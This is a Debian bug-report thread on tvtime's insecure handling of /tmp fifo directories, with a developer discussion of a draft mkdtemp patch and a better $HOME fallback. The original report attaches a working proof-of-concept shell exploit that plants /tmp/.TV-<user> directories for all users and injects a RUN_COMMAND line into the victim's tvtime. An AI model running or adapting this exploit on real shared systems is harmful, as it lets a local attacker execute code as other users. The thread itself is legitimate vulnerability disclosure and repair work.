Bug#924076: tvtime: insecure use of /tmp

[Helge Kreutzmann]

Hello Jakub,
On Mon, Mar 25, 2019 at 11:15:59AM +0100, Jakub Wilk wrote:
> Hi Helge!
> 
> * Helge Kreutzmann , 2019-03-23, 20:48:
> >+/* Create a secure private temporary directory */
> >+fifosdir = mkdtemp(FIFODIR "tvtimeXX");
> 
> The mkdtemp(2) man page says: "Since it will be modified, template must not
> be a string constant, but should be declared as a character array." This is
> the reason it segfaults.
> 
> Also, slash is missing between FIFODIR and "tvtime".
> 
> You would need something like this:
> 
>   char *fifosdir;
>   char fifosdir_buf[] = FIFODIR "/tvtimeXX";
>   fifosdir = mkdtemp(fifosdir_buf);

Thanks. As said, I'm not a programmer but a user of tvtime who
previously did some very simple coding. 

> So (with the addition of error handling) this would fix insecure use of
> /tmp; but it also breaks communication between tvtime-command(1) and
> tvtime(1). They need to use the same fifo to communicate, but mkdtemp()
> ensures that this is never the case:
> 
>   $ tvtime-command QUIT
>   Reading configuration from /etc/tvtime/tvtime.xml
>   Reading configuration from /home/jwilk/.tvtime/tvtime.xml
>   tvtime-command: Cannot open /tmp/tvtimeHH48wA/.TV-jwilk/tvtimefifo-borsuk: 
> No such file or directory
> 
> It would be best to avoid using /tmp for fifos. tvtime already falls back to
> $HOME when /tmp couldn't be used (grep for "put the fifo in $HOME" in
> src/utils.c), to this should be a matter of disabling the /tmp codepath.

Great. Could you update the patch accordingly? If you need someone to
upload I can most likely arrange that (but if you know someone
yourself, even better, as I'm mostly offline the next ~10 days).

Thanks for your kind help.

Greetings

Helge

-- 
  Dr. Helge Kreutzmann deb...@helgefjell.de
   Dipl.-Phys.   http://www.helgefjell.de/debian.php
64bit GNU powered gpg signed mail preferred
   Help keep free software "libre": http://www.ffii.de/


signature.asc
Description: Digital signature

Bug#924076: tvtime: insecure use of /tmp

[Jakub Wilk]

Hi Helge!

* Helge Kreutzmann , 2019-03-23, 20:48:

+/* Create a secure private temporary directory */
+fifosdir = mkdtemp(FIFODIR "tvtimeXX");


The mkdtemp(2) man page says: "Since it will be modified, template must 
not be a string constant, but should be declared as a character array." 
This is the reason it segfaults.


Also, slash is missing between FIFODIR and "tvtime".

You would need something like this:

  char *fifosdir;
  char fifosdir_buf[] = FIFODIR "/tvtimeXX";
  fifosdir = mkdtemp(fifosdir_buf);

So (with the addition of error handling) this would fix insecure use of 
/tmp; but it also breaks communication between tvtime-command(1) and 
tvtime(1). They need to use the same fifo to communicate, but mkdtemp() 
ensures that this is never the case:


  $ tvtime-command QUIT
  Reading configuration from /etc/tvtime/tvtime.xml
  Reading configuration from /home/jwilk/.tvtime/tvtime.xml
  tvtime-command: Cannot open /tmp/tvtimeHH48wA/.TV-jwilk/tvtimefifo-borsuk: No 
such file or directory

It would be best to avoid using /tmp for fifos. tvtime already falls 
back to $HOME when /tmp couldn't be used (grep for "put the fifo in 
$HOME" in src/utils.c), to this should be a matter of disabling the /tmp 
codepath.


--
Jakub Wilk

Bug#924076: tvtime: insecure use of /tmp

[Jakub Wilk]

Package: tvtime
Version: 1.0.11-4
Severity: grave
Tags: security

tvtime uses /tmp/.TV-/ as a temporary directory, even when it 
belongs to another (potentially malicious) user. Local attacker can 
exploit this bug to execute arbitrary code in the context of a tvtime 
user.


I've attached a proof-of-concept exploit.

--
Jakub Wilk
#!/bin/sh
set -e -u
if ! command -v xeyes > /dev/null
then
printf 'xeyes(1) not found. Please install x11-apps.\n' >&2
exit 1
fi
cd /tmp
basedir=$(mktemp -d tvtime-exploit.XX)
chmod 755 "$basedir"
mkfifo -m 644 "$basedir/cmd"
mkfifo -m 666 "$basedir/ratelim"
hostname=$(hostname)
users=$(getent passwd | cut -d: -f1)
for user in $users
do
userdir=".TV-$user"
rm -rf "$userdir" || true  # maybe stale dir from the previous exploit run?
if ! mkdir -m 755 "$userdir"
then
printf 'Failed to mount the exploit against %s; Maybe try again after 
reboot?\n' "$user"
continue
fi
ln "$basedir/cmd" "$userdir/tvtimefifo-$hostname"
done
while true
do
printf 'Waiting for the victim to run tvtime...' "$0" >&2
printf 'RUN_COMMAND xeyes && echo x > /tmp/%s; true\n' "$basedir/ratelim" > 
"$basedir/cmd"
printf '\n' >&2
read x < "$basedir/ratelim"
done